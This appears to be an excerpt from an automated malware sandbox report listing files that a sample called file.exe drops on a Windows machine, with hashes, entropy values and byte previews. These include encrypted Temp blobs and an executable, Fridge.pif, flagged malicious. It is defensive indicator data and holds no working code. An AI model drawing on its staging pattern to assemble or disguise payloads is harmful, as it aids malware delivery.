Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83FD.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4652
Entropy (8bit):	4.453600339638381
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg77aI9UPWpW8VYqMYm8M4JBOtOnnFUWc+q8uOI9fWzkzzOId:uIjf3I7Ge7V7JJ5cRAiNd
MD5:	92F0185B83DC365B69F41D7E5C0530E9
SHA1:	5A52C582F274FF28F9CE6AA5BD08642373C5DD45
SHA-256:	41D6FC0FC0CC8E310B9E63708007865B9B5C7A3A5DBEF943B88D49D46687BAA8
SHA-512:	4B515A111CE5B82820BA3A42B7DFEF793A3822D462B8F68F9BCE2A920AC897ADF1A5A9B8E7B883E506179EADA4BB0D4AA046CF759B6F7A7A3B008F3BC943A7FC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520677" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9997.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sat Sep 28 22:54:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	119010
Entropy (8bit):	1.9902109074499494
Encrypted:	false
SSDEEP:	384:B0Z4JRQnkB4TrF1lHMh1Fk4znl/yPQ7J1CbuRWIhvUMf48NavPnG+Kc:BF+nkB4hHvuyY7JfRhvUMhNe6c
MD5:	9DE007CE8A03D5FC9BE8D04964C5FB56
SHA1:	B7E96D2F23C9B9682195038F3EBB3A4C86B721A5
SHA-256:	B925CCB548098432A18B3D14EB217342CD0C5BF801B4F3F29975A26CE52ADB42
SHA-512:	7978966479A70C166F517B6FFA87A3C65B37CB0BEB43BE8E3D3EDD14CABA970D893A98FE73D59B832AC90B17364DA086D35FD9C107E9CD8BC81A14FAC756D658
Malicious:	false
Preview:	MDMP..a..... .......(..f....................................<....!...........G..........`.......8...........T........... @..............!...........#..............................................................................eJ......p$......GenuineIntel............T.......8......f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A63.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6302
Entropy (8bit):	3.7159776614509084
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbSj6LYmQJAQCj5aMQUwq89b1jsfVnm:R6l7wVeJSj6LYmQJArpDT89b1jsfVnm
MD5:	4206E92262EA40609BFACC16FBCFC767
SHA1:	F7F20FF0CF2E836F8179D9EA0D72A20D93AB7BE7
SHA-256:	28E3C4D803E6CF038E8C60B5FFDF804F04843AF34CB5E3174E7823B3F24A8EC4
SHA-512:	E028631BE3176AE383672D70A16729BB6BF7D4F017DDCE06C80CE817542A7E8B034FD7EF5F874FC4162BCFB39997E8CDA1483043FEA0681575B3524E5DD7F965
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A83.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4652
Entropy (8bit):	4.453212954795985
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg77aI9UPWpW8VYi0Ym8M4JBOtOnJFqQ++q8uOIbfWzkzzOId:uIjf3I7Ge7VnBJyjAiNd
MD5:	3810F78C3B4BD2628691AC1BFD42916B
SHA1:	8453B791E90AE8C34EEC14FF7ABAEB768652D089
SHA-256:	43C938A26A5A72F7F380A70E2A318B7E803CA15E5EE478A295239950BD4427F3
SHA-512:	D85AC6B14847E92FF8968B7FC7036D1DD0A0949FB39C2F34B32BA4A2F6FA0D5EF60AEE8035A668855F85766F05C054FAF7DF165A3876E8B58A0277DD12526802
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520677" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA522.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6262
Entropy (8bit):	3.6933544549163653
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb+F64sXYR3VeCj5aMQUB89b6rsfP+m:R6l7wVeJ+F6LYhLpDB89b6rsfP+m
MD5:	BDBBD66EE12069A8B850C6C7EFE86468
SHA1:	8D7FD23A3FC35C1F0A85D57BBB8B8D1B824875D3
SHA-256:	161828AAB9F54D1D1BBF3BCA046220447E9C0066F15267BDD853200D3B01B082
SHA-512:	55DD1A90755771427C5136C569A25743025355C5D67C6FE1FEF961AB88DEF7C69B93B0D4C44C7300D5BC017D9D3FEF1848A3E7B6B65108B3C7CF7E998AD73D2E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.2.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA542.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4574
Entropy (8bit):	4.437273630763863
Encrypted:	false
SSDEEP:	48:cvIwWl8zsdJg77aI9UPWpW8VYWYm8M4JTEFZ+q8aufWz3iz3d:uIjf3I7Ge7VOJc4A3c3d
MD5:	1B60FA7CE8FA19B33007A14FC2AFA325
SHA1:	171C4AAAC6CB04146FA484457DDF6F4AAA0109C6
SHA-256:	39C9B237543F75C31BFAB0DA700465655BD259D0DFB457D2264BA0DDF8810103
SHA-512:	59E5F2E302A3082E722D81A7F36F7418304EF4BF2AE253F4F53849C0709C391EDE7A6661DCAD3CA9F1118C5C07C0D750CE7AA17CE89059EEECD82282C6F41CE1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="520677" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\383775\C

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	520954
Entropy (8bit):	7.9996682226015485
Encrypted:	true
SSDEEP:	12288:YinDwM9++hOs8vPvu3vWbgasy1VW60MxnI56j6mJw:YeDlk+hr8vnu3Hi1VlDpI56pJw
MD5:	F69D1B55EC348ED795B2ED2F28CA264A
SHA1:	AA81995DC8F79B009F770B282D7DFAF1E5A6D9B7
SHA-256:	5FB568F848C75BF8DDA38DDC63DBE2D5D86A4474BC7CACB30CEEE147CFCCCAEA
SHA-512:	D89A79483225370C3C7ACFD2C0E37EF0F1B4C6DD6A6E876CA2DA049DFBE2C2C821F13C812E23DC5CDA2E544DA906330CE73A08E4D368164B6E5E1619DF8AA5BE
Malicious:	false
Preview:	@...y.X.'..N".?....t{g..Kj..:.D.......?.APA....r,..]..yh.A.N}."..yK.n...92&K....."....9<.].Q8.d.........\.OA.e.P;..+..._....o..k1..<,.#..C....@.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...D.H.'.F...h.................X_.,....X_.,kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..t.U..,P..Myn.2..t.W.....w.............w..,....X_.,m.....<...8.5...x..2).U.j.....>.\|#...t....)......].=.k..=N..,.2......'.......'.!....>.... C.._.....me........t.u h...].6....- .].....@:r.....r.;....)\|..k^W....CZ.1..LY;....<.\....^....+....JZ.d.Z~.......~..1...M..e.5B.o.~.....<3o....56..@.:.6OQ...c<...0...n;.T.....\...V1...4\|0G..K.5...=q....cN`..#V...g&......].t.<.!....)^.'.&..~.~....h.....R..t.-...O

C:\Users\user\AppData\Local\Temp\383775\Fridge.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.62028134425878
Encrypted:	false
SSDEEP:	12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
MD5:	18CE19B57F43CE0A5AF149C96AECC685
SHA1:	1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
SHA-256:	D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
SHA-512:	A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Z09QznvZSr.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Depending

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.99638245344113
Encrypted:	true
SSDEEP:	1536:VgD8onyYUen1GP+EFeEsy6VVJsZb4NxNL42:6goyYxnIP+EFxiIkNT
MD5:	2B4A5ABFEA58642D9732761AF0E9A09D
SHA1:	7036D2F6712262F17BAC2B286BFA9C12CF7114A3
SHA-256:	81B163F839EC3DA29BD52237A6538F42B57CC1775114534C4D44CF70302A146C
SHA-512:	4114D6E5CBD7B7490B6CF74F6E9B169EAE43FF0BC72076440514463BF16DE4C66D5350AD401180029E4AA2EABA8BBBCFD01831ADBF81D449BDEFE13389FE4DD5
Malicious:	false
Preview:	.z9'..q..4{,#........hR..\.X.@.z..s.L."K~b....,..Ui..i.u.z.%.h;..Q..u...d.7.....kq..'.jK.i.VC)...2...`..._...].F.=0.....Ug>..{...(y.+~}..0......%.ch...0....I...e.[..Z.a...N....F3.X..@.w..4.DY.1t.....i......QkV.V"_..&.....>.[r.OO....8`4.V.1%.0QIZ.X...s`.y.YN...-..6.4@.Z.?.[;.~..G..5...9.\lt/.B8F......_C...`.D......L....M.c.R7.."....6......g..\|by..e]._..y.....3^/t^.7.>.}V...ujY..``.'.?.. 59t...w.c.....y.O..==.0.&u.L.$z.A..;[w.._j..DK.o..&.....$..8@......@@....V..{..'}W.a...qs...9......8f..n.(b...wu.$0.....P........C..O.....6\.L.......:h.$F...m...xh.4.N..$..EV....>...da......z..-.)..q..w.......'"....)....PZbC.......o^.9Z....].F:.`T`.5..%"......x..Y...U ...8vOA(Q...-.d..'..tBj..b.........,.B...v.._..`.k..4.x..E.3...i.......T..P..+J..4;~..x.....2T.Y..1.g..X..?b..B.:...X.Z..t>.2>..,%8.y.Wb.q..@....Da"..Af...........0.;...........".....D....8~q{.....\|..s..mz..W.}...:.2p.wK..\|/._+..N`...._...&...C5.p........D.>...T.k......o....#..Y..7..1

C:\Users\user\AppData\Local\Temp\Depression

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	7.997320176629269
Encrypted:	true
SSDEEP:	1536:I7TONQMxlqjirJ1LWT2DX37QlvoWW1iS2zJclD1I42d+OG1Ms:ahMxOibyT2TLQ0jl5Ijd+T
MD5:	B48908EBA6652C22258DE0A0B1833EB9
SHA1:	ED886EBF26417E61FCF41F243F58BA38FADFDE7E
SHA-256:	D03167567C61A4DFCA12485147B89D28DDEBD189AF563E79725124412BE6F24D
SHA-512:	FF093E45D175926758F1EFD65F2AC7ED7E7E257E3A9D1A6FE9E9962DFB03F2C3B7DB2E0E7AF398166454C2A7736D49FEDB73C5E1DBBC186B855587A3915619E4
Malicious:	false
Preview:	O).,.9.n?..l.\|"....0.........L....".~......zp......{........./..Q.c..UP3....<Y....$..K5Z..-@..Y..pq.~k.....W<U...].X0....P.0....Z..8...J..j.<.Zj..:@.....;i&.M,..ab .O}3.z.!@...w{2.7..VX7.G.....9.....OB...2."d.cc.QvN...K..D.m.k...}.}zS....E.JdY....`t.......f^b...C..+....i!?.)z....:_.'..k...Rlw.W_...G.......i^@G.......U...a......J.C....M..@...4`.!..K.Z/?'..l~6.H=.nG'N\OX......31...\|.N..2.$.`..!..rX...UB....V....oC(.&.o.%..1...WJ.M.ah.s......}oR.l.:.W.....lm.../WB...9.\...ob.U..v./.'.S8...t.....{+......."...g..0..T...Y..~..VH0. M899........=..X2..1..4U.p..UYG.O#w...U=2}......&.B+V..4.E.v@BR.)./....E....)..6...j...K..>...BH.....d.{B...k].Y...9.Z.0.(.\|^n..a .3h.../67X.A..p\|..........SB".B._q\~......7..G....e.RJ.!-.....@...+..l.,.B{.. T....Ci...03...;.R$.....v......NY....{_?..r./:_.Nt..........5.k.R..@.h...@.O...Y..........$.Z&..w..4.j.....p.A..+74.x....14.B....8..YRF.f.D=\}V..b*..\..Pq({`..X..^...E+.N[........i.e...)Z...5_.;.T.P[.'gX.>.@..

C:\Users\user\AppData\Local\Temp\Did

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997549423486493
Encrypted:	true
SSDEEP:	1536:e6bHa7msdXPu6uNXdRh85V5s8EN2IKqXFJs4KtaxUTKwBZR:ecaasdX9uNXdRK5V5jENX9XWAUHzR
MD5:	8FF55F08F6EAD36300489A7E8903AFDD
SHA1:	5BEDC22712250C8885F72BFF41031128B053D171
SHA-256:	CDF24FBD555A281727A747DD0087EB895A50EA184D928420F5DB7B344B212A73
SHA-512:	854F19D5012A32AA65E3863F1508CAEA8493CD41E53CEB6192BBCCE253848F700B8BED83F3F9EE881535C57AFCC012B2F8A0B1FC8FDCCD6A9F367F7E824AA8BD
Malicious:	false
Preview:	..+.6.c.....4K.X].......'FQ>.?..._......x..4...[.....)..QtV!...cS.9F......8.t..E....n..Lm..s....>o.^u..:.Y...b.....E.w..4.v.w.fw..L[....1..vQE-u..I...i..Vr.obj.s^....d..8.Y`..\'...<..[6..!.".6.h.Q.D.......`.+..V\......Xw......c..Y......9. B@..:<>.Z...\|..Xf.......k.&..-.-)..._.....2..$>\|./^...<.......ai~.{.~kz3.E....>...`9....kl.....ugz.j...Bm.$vv1..%n...N.F.tIw....ey........6~....AZ...../..$..6...W...k.....>..fSaE]!s5-a$6`U.uS..i....n........$j....K..m.s..(..AN.......U.<'.......~J$0.4....{.^..D=.yt.my..g..s.w.Q...n...q.MM...T...y..........C7.9.......KPY./..."...+9..l+.....j..o..{1TaB./.T.\|.......'.....L@b.....?C~.5k...XX468.d..S.ru?3.!!...._..=.J.?@...m.A.#.}:_FhC.......w....S..(...jB.1}9,..h{.G..]..y..\.O4.!I.\7gf.I...`...R......S?Cjo$.\|??...._.N.."....B6..C...j.......A.h.....6T:..Ld.30.Uz.....h..h]..y~...Q~...c`..u....m...^; rqU.qVd..R..q..PvpQ...g.>.\..y.......AX.<.7~V.<..a.vlH1.Id..wI\|J...#.,Vt4....q......d.c6...[..

C:\Users\user\AppData\Local\Temp\Gathering

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997648081810217
Encrypted:	true
SSDEEP:	1536:wifKUbaAosZVFVUCb2ejnkwkTuwIGW2GT4se3xHmnwei:+UbaCZjVRTvJwrU490nPi
MD5:	C6577878E97A0AD5035B6F2ACCE6F309
SHA1:	2C82F35115E99E115F92B94684C98D9759678D8A
SHA-256:	4027A1B4458B066F78BC32BAAA7A07BB0F2CE0B02B4AA7251E400675328AA79D
SHA-512:	92931083A8790BD054A2C708EF41E3198CA04F7FD08FC45D05F5B97D5ACB56A68D06B4A6DFF27205BA5BCD2B284C9331078916110861A4733D06E91E9E27F9EF
Malicious:	false
Preview:	.h.g.ya!....dG.lh2..t6.lR.Q........ Ez7p...e].Y.,......Q......G.T..F..x....(o._....W.\.t.....m.._..x@...L..D....D.A..$.K...1.?Ef....3..u..h.,U4......z......Hs....9a7.HR)......[9?...-/...@u/.8..?@.+.8."Q\"IF=..Oy...M...Z._.+a:.....0.o..B....z..E...q.g...%..c.~.ho..V..=r~......vA...._...f...{)......xP.OVx..`.._....(...v..^`5.l..q/..A.h{..#...iN...e.......4..BZ.#....\|..XtT.....V.1.F#..}..$:..o/.f..............]@........F.~R..\|&KYG.tE.Gb:.{tuD...uJ....0f..N....z...`R,.w...cw..'....F.....v..)hg..D[3...9#......0.."-...{.I...NT.}....F..\....q-.7..u}..z....aee..up.PQ._m.......$..NVvS.l.!5}..!.../.....O..u3Z.n..t...........I..?...P:...J....-...].......$#.......+. ....&.<1.}.3CQ..&..~9...].;.i.8.Z.....>b....l.}.u.-...J...b.k......bE..#...m.}KJ)O.F~....8....1..`.=...n........B......u.J.......b.<.f3....yRF.=9p 0-.<FoF...\|..a0....i...t~\.........0..U;_..z......G.}..:o.<.&...\-.....!Co..6.w..`.%..@..q..p.Y...k.......1G..7.xh..I..f)z.F.:]

C:\Users\user\AppData\Local\Temp\Interface

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.99817761305996
Encrypted:	true
SSDEEP:	1536:YboNfzaOaxswP9DqAL7Vij71vW6Vusrhou0WfSstZoWaeXvGXpz4G:YbmzDDwPkAFuvWt5LX6geIMG
MD5:	52D85BCC702567325ACA6F834A7E521F
SHA1:	328F982773EDE516A67890CA12F62E57DD61BE16
SHA-256:	416AC3B8C00DFE369785B5C137EA7B70131659EAA16FCBC6468AA55DC12A20D5
SHA-512:	70803BA54BFFB12FDCA7496B3BCF3AC9D8B01384C417B20E60D787E6FD3D4AE974E4F98B6CEEB5936DD0EB42A2AB9895F2280CDB008DC6227AA245A413007033
Malicious:	false
Preview:	@...y.X.'..N".?....t{g..Kj..:.D.......?.APA....r,..]..yh.A.N}."..yK.n...92&K....."....9<.].Q8.d.........\.OA.e.P;..+..._....o..k1..<,.#..C....@.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R}...D.H.'.F...h.................X_.,....X_.,kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..t.U..,P..Myn.2..t.W.....w.............w..,....X_.,m.....<...8.5...x..2).U.j.....>.\|#...t....)......].=.k..=N..,.2......'.......'.!....>.... C.._.....me........t.u h...].6....- .].....@:r.....r.;....)\|..k^W....CZ.1..LY;....<.\....^....+....JZ.d.Z~.......~..1...M..e.5B.o.~.....<3o....56..@.:.6OQ...c<...0...n;.T.....\...V1...4\|0G..K.5...=q....cN`..#V...g&......].t.<.!....)^.'.&..~.~....h.....R..t.-...O

C:\Users\user\AppData\Local\Temp\Jacket

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	6382
Entropy (8bit):	6.158612735361528
Encrypted:	false
SSDEEP:	192:9HAeOqAFDw09CV/2nPvj6DdMP3r1HI5jh:9HAHhww+/2nlP3r1Wh
MD5:	DDDE7D925EDC765B72C1461277317731
SHA1:	366E5CB67118B272A17CFE6ECB27763015B76C00
SHA-256:	B44F26C69D166E0911A8DC0883ECFA50EB1A4A091AC4A531B68CD7E04F949DAE
SHA-512:	D4C587F84EFBE4E99201F1F7FC0BA9300E7AB4B5D3E53E9D25468A6BBF4E7A92B8B7D4B73EDFA1EE79CDBEE719E93C245F403F57DD0B3909EDE22920C95712F6
Malicious:	false
Preview:	ManufacturedBuyingTouchSecond..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Messenger

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1111), with CRLF line terminators
Category:	dropped
Size (bytes):	26252
Entropy (8bit):	5.041509720355503
Encrypted:	false
SSDEEP:	384:tt/9eUHos7PxCnxGOSPN4BbM92QdqdizH+DtA66DQKrSyGNKMvqKrazjjudpkY:7/97IiJwGOSSBM92Q2iK+qKH66KOvjuZ
MD5:	A1B7F00B804AD580CDCC8C0DBAC0FB87
SHA1:	46A03A82FCBB835E73C351A147E38053FAC7F87D
SHA-256:	C2CBFB6A0EE6BC41397E4C57C97569407DB87A76E7F4BD3F5ABE63545E94E311
